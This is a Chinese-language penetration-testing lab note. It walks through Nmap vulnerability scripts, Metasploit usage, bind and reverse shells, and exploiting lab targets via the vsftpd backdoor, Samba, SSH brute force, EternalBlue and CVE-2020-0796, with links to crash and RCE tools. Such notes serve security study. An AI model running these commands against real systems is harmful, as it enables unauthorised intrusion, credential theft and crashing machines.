一、Nmnp 探寻漏洞
(1) Nmap 脚本目录
cd /usr/share/nmap/scripts
参考链接:https://nmap.org/book/nse-usage.html
(2) auth
检查身份认证是否可被绕过或破解
nmap --script auth [IP地址] -sS

_ftp-anon: Anonymous FTP login allowed (FTP code 230)
- 该 FTP 可以匿名登录

root 账号密码为空


发现了 1 个漏洞,使用了默认的 tomcat 凭据,也就是Tomcat在安装后内置了一个众所周知的默认管理员账户(tomcat:tomcat ),而管理员没有修改或删除它
访问该端口地址 10.0.2.3:8180

输入凭证 tomcat:tomcat


(3) malware
检查主机是否存在后门或恶意软件感染迹象
nmap --script malware [IP地址] -sS

(4) banner
抓取和分析服务标识信息
nmap --script banner [IP地址] -sS
(5) exploit
尝试利用已知的安全漏洞
nmap --script exploit [IP地址] -sS

扫描到了 CSRF 漏洞,以及 FTP 的 backdoor 😃 漏洞, 并在运行脚本后显示获得了管理员权限

验证 FTP 漏洞

二、手动漏洞分析
(1)复制服务版本,去百度

(2) searchsploit
searchsploit [服务名]

查找利用脚本的位置

三、什么是利用和漏洞
(1) 漏洞
漏洞是存在于软件、硬件、系统设计或人员操作流程中的固有缺陷。它本身不一定是恶意的,只是一个"可被利用"的条件。
- 本质:一种错误、疏忽或设计上的不足。
- 存在形式 :
- 软件漏洞:代码中的错误(如缓冲区溢出、SQL注入缺陷)
- 硬件漏洞:芯片设计缺陷(如著名的"熔断"和"幽灵")
- 配置漏洞:使用默认密码、开放了不必要的网络端口
- 人为漏洞:员工容易遭受钓鱼攻击的安全意识薄弱环节
- 关键点 :漏洞是静态的 、客观存在的 。它就在那里,无论是否被攻击者发现
(2) 利用
利用是针对特定漏洞所开发的攻击方法或程序代码。它的目的是触发漏洞,并让攻击者获得其预期的非法利益(如控制系统、窃取数据等)。 - 本质 :一种行动 或实现该行动的工具
- 存在形式 :
- 利用代码:一段能够触发漏洞的计算机程序(Exploit Code)
- 利用工具:集成了多种利用方法的软件框架(如Metasploit)
- 攻击链中的一步:在一个复杂的网络攻击中,"利用漏洞"是其中一个关键环节
- 关键点 :利用是动态的 、主观的。它是攻击者主动发起的行为。
四、理解反向Shell和绑定Shell
(1) 绑定Shell
在这种模式下,Shell是被"绑定"在目标机器的一个端口上,等待外来连接
- 工作流程 :
- 攻击者通过漏洞在目标系统上执行命令
- 命令在目标上打开一个命令行进程(如
cmd.exe或/bin/bash),并将这个进程的输入/输出"绑定"到目标机的某个网络端口(例如4444) - 目标机开始监听该端口
- 攻击者从自己的机器主动连接 到
目标IP:4444 - 连接成功后,攻击者就获得了一个远程Shell
- 优点:逻辑直观,由攻击者主动发起最终连接
- 致命缺点 :极易被防火墙拦截
- 目标服务器的防火墙通常阻止外部IP访问其内部的大部分端口。你绑定的端口(如4444)很可能在外面根本连不上
- 攻击者需要知道目标的准确IP
(2) 反向Shell
在这种模式下,Shell是"反向"从目标机连接到攻击者的
- 工作流程 :
- 攻击者先在自己的机器上启动一个监听器 ,监听某个端口(例如
4444) - 攻击者通过漏洞在目标系统上执行命令
- 该命令指示目标机上的Shell进程,主动发起一个网络连接 回到
攻击者IP:4444,并将其输入/输出重定向到这个网络连接 - 攻击者的监听器接收到这个连接
- 连接建立,攻击者获得Shell
- 攻击者先在自己的机器上启动一个监听器 ,监听某个端口(例如
- 优点 :
- 绕过防火墙 :这是最大的优势。企业防火墙通常允许内部服务器向外发起连接(例如访问网页、更新软件)。反向Shell伪装成一条从内部向外的合法出站连接(如访问某个外部Web服务器),从而轻易绕过防火墙的限制
- 适用于动态IP/NAT后的攻击者:攻击者可能没有公网固定IP(比如在家中使用ADSL)。他可以先让监听器运行在一个有公网IP的服务器上,然后让目标机连接到这个服务器
- 缺点:攻击者需要有一个能被目标机访问到的IP和开放端口
五、Metasploit
(1) 框架结构

-
msfconsole: msf的控制台
-
msfvenom: 生成有效载荷
-
Modules: 这是存放Metasploit所有模块的文件夹。这些模块是Ruby脚本,它们与Metasploit本身进行交互,以执行特定的任务。模块的种类繁多,例如用于利用漏洞并获取 slhell的"exploit"模块、用于执行非 shell获取活动的"auxiliar"模块、用于Metasploit各种载荷(这些也属于莫块)的 "payloads"模块,以及用于后渗透模块的 "post"模块。

-
exploits: 存放漏洞利用模块(Exploit Modules)* 的核心目录
-
Auxiliary: 辅助模块,执行各种辅助任务,例如扫描、信息收集、指纹识别、DoS攻击、服务枚举等
-
post: 后利用模块,深入探索被攻陷的系统,包括信息收集、权限提升、持久化控制、数据窃取、横向移动等
-
payloads: 有效载荷库,实际完成攻击目的的核心组件,如反弹 shell、执行命令、下载文件等
-
evasion: 规避/免杀模块 ,专门用于生成能够绕过防病毒软件(AV)、端点检测与响应(EDR)和其他安全防御的恶意载荷
(2) 基本命令msfconsole
-
MSF 控制台下仍然可以运行一些基本的命令

列出所有有效载荷
show payloads

显示当前可用的所有漏洞利用模块
show exploits

漏洞利用
use + [利用漏洞的名称]

显示当前选中模块的详细信息
show info


查看和设置当前模块的配置选项
show options

设置监听主机地址
set LHOST [攻击机IP地址]

设置目标主机地址
set RHOST [IP地址]

列出当前模块可以使用的所有有效载荷
show payloads

更改有效载荷
set payload [载荷名]

端口更改
set RPORT [目标IP地址]
set LPORT [攻击机IP地址]
显示当前漏洞利用模块支持的目标系统列表
show targets

执行当前配置的漏洞利用模块
exploit
六、漏洞利用
(1) VSFTPD v2.3.4 后门漏洞
启动 MSF 控制台并扫描目标靶机

搜索服务版本
searchsploit vsftpd 2.3.4

msf> search vsftpd

加载该漏洞利用模块,并且查看详细配置需求

设置目标 IP 地址
set RHOST 10.0.2.3
执行 exploit 获取权限

(2) 配置错误漏洞

使用NetCat瑞士军刀直接连接
nc 10.0.2.3 1524

(3) Telent信息泄露漏洞
查找服务版本漏洞

Telnet 目标地址,查看是否会获得什么信息

在标题信息上已经告诉了我们用户名和密码,再通过 sudo su 提升权限


(4) Samba 漏洞
nmap 只能观察到大概范围,而不是详细的服务版本信息

所以使用 MSF 的辅助 samba 版本扫描器
use auxiliary/scanner/smb/smb_version
设置目标地址
set RHOST 10.0.2.3
执行后得到详细版本信息,再次查询漏洞


找到相应的脚本映射利用模块

设置目标 IP 后,执行,获得管理员权限

此模块利用了命令执行漏洞。该漏洞存在于Samba版本v3.0.20至v3.0.25rc3中,可通过使用非默认配置选项(如用户名映射或配置选项)来利用此漏洞。通过指定包含shell元字符的用户名攻击者可以执行任意命令
(5) SSH 暴力破解弱口令
使用 MSF 的 ssh_login 模块

设置密码字典、用户字典、目标 IP、端口 22

直到找到正确的密码用户后停止

直接在会话里连接
sessions -i 1

(6) EternalBlue漏洞
对 win 7 进行扫描,查看其是否存在永恒之蓝漏洞
use auxiliary/scanner/smb/smb_ms17_010

目标可能存在永恒之蓝漏洞,转换为 exploit 模块,并尝试利用漏洞
use exploit/windows/smb/ms17_010_eternalblue
//直接use + 模块前面的序号也可以

七、CVE-2020-0796
(1)核心概述
- CVE 编号: CVE-2020-0796
- 漏洞类型: 缓冲区溢出(远程代码执行)
- 影响协议: SMBv3.1.1
- 危险等级: 极高(CVSS 评分 10.0)
- 主要威胁: 攻击者无需用户验证,即可通过向目标 SMB 服务器发送特制数据包,在目标系统上执行任意代码。
- 俗称: "永恒之黑" ,因其与2017年肆虐的"永恒之蓝"漏洞类似,同属SMB协议高危漏洞。
(2) 远程崩溃 Windows 10
扫描收集端口信息

扫描工具链接:https://github.com/ButrintKomoni/cve-2020-0796
python3 cve-2020-0796-scanner.py [IP]
验证存在漏洞

破坏工具:https://github.com/jiansiting/CVE-2020-0796
python3 cve-2020-0796.py 10.0.2.5
直接致使 Windows 10 系统重启

(3) 远程利用 Windows 10
漏洞利用工具链接:https://github.com/ZecOps/CVE-2020-0796-RCE-POC
先在靶机上运行 .bat文件获取偏移值,再修改攻击机 .py文件,运行 nc 进行端口监听,最后执行 .py 文件
python SMBleedingGhost.py [目标地址] [接收回显地址] [nc监听端口]
注:因为脚本原因,漏洞利用的 .py 文件必须在 Windows 系统运行